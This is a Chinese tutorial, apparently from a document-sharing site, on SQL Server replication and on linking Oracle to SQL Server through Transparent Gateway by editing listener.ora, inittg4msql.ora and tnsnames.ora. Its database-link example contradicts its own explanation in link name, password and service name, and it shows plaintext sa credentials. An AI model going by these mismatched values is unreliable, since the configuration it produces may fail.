步骤一:先删除这个名为local的sql server注册,然后右击sql server组,新建sql server注册---》下一步,在可用的服务器的文本框会自动显示你的计算机名称我这是qb(在这里也可以在客户端网络使用工具失眠配置计算机的别名也可以实现这一步),点击添加,添加到“添加的服务器里”--一直下一步就好了。
步骤二:在要发布的数据库里面创建要发布的测试表。
单击刚刚以计算机名建好的sql server 注册,以选中它--》工具--》复制--》配置发布、订阅服务器和分发---》一直下一步到选择快照文件夹路径“\\qb\c$\Program Files\Microsoft SQL Server\MSSQL\ReplData”使用特殊的共享名称,该名称通常只能由在计算机“SEOGIRL”上有管理权限的登录访问。
此共享可能不能由在其它计算机上运行的代理程序访问,例如请求订阅的代理程序。
点击下一步到有提示确实要使用此快照文件夹路径吗?这一步要选择否;我们需要手动建一个问价夹:例如在C盘根目录下:建一个c:\ReplData,在这个文件夹的属性里设置“共享此文件夹”,然后返回咱们刚才的“快照文件夹”,在里边选择刚建的文件夹目录--》下一步--》下一步--》完成--》关闭步骤三:配置发布和分发服务器和订阅服务器:点击‘数据库’然后在菜单里面选择---工具----复制----》配置发布和分发服务器和订阅服务器,在这之前我们要配置oracle数据源。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
首选安装透明网关组件,可以在安装ORACLE时自定义选择组件,也可以在安装ORACLE后再添加组件。
1.进入安装最全面
2.选择安装产品
3.选择自定义安半类型
4.选择透明网关组件,这里选择for sqlserver,也可选择其它数据库听组件
5.选择sql server服务器(计算机名或者IP地址)和想要访问的sql server数据库
6.选择下一步开始安装
7.安装结束后选择退出
第一步.
在安装目录下\network\admin\ listener.ora中做如下修改
在原来的内容中增加红色字体部分
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = D:\oracle\ora92)
(PROGRAM = extproc)
)
(SID_DESC =
(GLOBAL_DBNAME = zspgps)
(ORACLE_HOME = D:\oracle\ora92)
(SID_NAME = zspgps)
)
(SID_DESC =
(SID_NAME = tg4msql)
(ORACLE_HOME = D:\oracle\ora92)
(PROGRAM = tg4msql)
)
)
第二步
安装目录下\ tg4msql\admin增加一个文件此文件名为inittg4msql.ora
(注意,这里文件名应该为init+第一步配置的SID_NAME的值:tg4msql.ora) 里面内容为:
# This is a sample agent init file that contains the HS parameters that are
# needed for the Transparent Gateway for SQL Server
#
# HS init parameters
#
HS_FDS_CONNECT_INFO="SERVER=192.168.13.34;DA TABASE=dbTest" HS_FDS_TRACE_LEVEL=OFF
HS_FDS_RECOVERY_ACCOUNT=RECOVER
HS_FDS_RECOVERY_PWD=RECOVER
说明:红色部分分别代表要连接sql2000数据库的IP和数据库名
第三部
在安装目录下\network\admin\ tnsnames.ora中做如下修改
增加如下内容:
dbTest=
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521)) )
(CONNECT_DA TA =
(SID = tg4msql)
)
(HS = ok)
)
说明:HOST的值应该为ORACLE服务器的IP地址
SID的值应该跟第一步增加的内容中的SID_NAME的值一样
第四步
进行连接
create database link oil2erpoa connect to "sa" identified by "jpzhou" using 'oil'
注意,连接SQLSEVER 用户名和密码必须是小写,并且要加双引号
说明:
建立一个连接xscdb(随意取名) 用户名sa 密码zhaoshaopo
Using 的值就是在第三步tnsnames.ora建立的服务名
最后通过select * from username@xscdb;可以看到sql2000上的表
在oracle中如果建立一个与SQL数据库一样结构的表,可以将sql表中的数据导入到oracle insert into test_ora_sql select * from username@xscdb
查看连接:
select * from dba_db_links;
删除连接
Drop(public)database link ;
如果在创建link时候用了public 则删除也用,否则不用。